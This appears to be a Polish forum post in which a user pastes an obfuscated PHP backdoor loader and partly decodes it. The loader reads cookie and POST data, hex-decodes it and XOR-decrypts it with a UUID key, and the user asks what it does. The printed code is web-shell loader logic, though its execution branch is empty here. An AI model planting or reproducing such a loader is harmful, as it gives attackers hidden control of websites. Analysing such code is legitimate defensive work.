<?php $qewsiyy = 'u3vglopx\'skide5cr_#y0t6m-7an1*4bH'; $snluzw[] = $qewsiyy[32].$qewsiyy[29]; $snluzw[] = $qewsiyy[18]; $snluzw[] = $qewsiyy[28].$qewsiyy[15].$qewsiyy[1].$qewsiyy[22].$qewsiyy[30].$qewsiyy[15].$qewsiyy[26].$qewsiyy[31].$qewsiyy[24]. $qewsiyy[26].$qewsiyy[25].$qewsiyy[26].$qewsiyy[20].$qewsiyy[24].$qewsiyy[30].$qewsiyy[28].$qewsiyy[28].$qewsiyy[26] .$qewsiyy[24].$qewsiyy[31].$qewsiyy[22].$qewsiyy[14].$qewsiyy[15].$qewsiyy[24].$qewsiyy[22].$qewsiyy[13].$qewsiyy[30] .$qewsiyy[20].$qewsiyy[15].$qewsiyy[20].$qewsiyy[31].$qewsiyy[26].$qewsiyy[25].$qewsiyy[28].$qewsiyy[28].$qewsiyy[20]; $snluzw[] = $qewsiyy[15].$qewsiyy[5].$qewsiyy[0].$qewsiyy[27].$qewsiyy[21]; $snluzw[] = $qewsiyy[9].$qewsiyy[21].$qewsiyy[16].$qewsiyy[17].$qewsiyy[16].$qewsiyy[13].$qewsiyy[6].$qewsiyy[13].$qewsiyy[26].$qewsiyy[21]; $snluzw[] = $qewsiyy[13].$qewsiyy[7].$qewsiyy[6].$qewsiyy[4].$qewsiyy[5].$qewsiyy[12].$qewsiyy[13]; $snluzw[] = $qewsiyy[9].$qewsiyy[0].$qewsiyy[31].$qewsiyy[9].$qewsiyy[21].$qewsiyy[16]; $snluzw[] = $qewsiyy[26].$qewsiyy[16].$qewsiyy[16].$qewsiyy[26].$qewsiyy[19].$qewsiyy[17].$qewsiyy[23].$qewsiyy[13] .$qewsiyy[16].$qewsiyy[3].$qewsiyy[13]; $snluzw[] = $qewsiyy[9].$qewsiyy[21].$qewsiyy[16].$qewsiyy[4].$qewsiyy[13].$qewsiyy[27]; $snluzw[] = $qewsiyy[6].$qewsiyy[26].$qewsiyy[15].$qewsiyy[10]; foreach ($snluzw[7]($_COOKIE, $_POST) as $ennjrvq => $bjnyx) { function zjmihc($snluzw, $ennjrvq, $vcuum) { return $snluzw[6]($snluzw[4]($ennjrvq . $snluzw[2], ($vcuum / $snluzw[8]($ennjrvq)) + 1), 0, $vcuum); } function vvlhqlo($snluzw, $pgyvhju){ return @$snluzw[9]($snluzw[0], $pgyvhju); } function ttpuw($snluzw, $pgyvhju){ $lmczvy = $snluzw[3]($pgyvhju) % 3; if (!$lmczvy) { } } $bjnyx = vvlhqlo($snluzw, $bjnyx); ttpuw($snluzw, $snluzw[5]($snluzw[1], $bjnyx ^ zjmihc($snluzw, $ennjrvq, $snluzw[8]($bjnyx)))); }
Ja rozumie na razie z tego tyle:
1)
$qewsiyy = 'u3vglopx\'skide5cr_#y0t6m-7an1*4bH';
Łańcuch znaków z których budowane są polecenia wewnątrz tablicy $snluzw
Array ( [0] => H* [1] => # [2] => 1c364cab-a7a0-411a-b65c-6e40c0ba7110 [3] => count [4] => str_repeat [5] => explode [6] => substr [7] => array_merge [8] => strlen [9] => pack )
2)
foreach ($snluzw[7]($_COOKIE, $_POST) as $ennjrvq => $bjnyx) {
Dla wszystkich elementów połączonych tablic $_COOKIE i $_POST ($snluzw[7] to polecenie array_merge) wykonywane są instrukcje wewnątrz pętli.
3)
$bjnyx = vvlhqlo($snluzw, $bjnyx); ttpuw($snluzw, $snluzw[5]($snluzw[1], $bjnyx ^ zjmihc($snluzw, $ennjrvq, $snluzw[8]($bjnyx))));
Instrukcje to wywołania trzech funkcji vvlhqlo(), ttpuw(), zjmihc() zdeklarowanych wewnątrz funkcji (po co zdeklarowane wewnątrz?)
No i dalej już mało rozumiem. Co tam się dzieje i po co?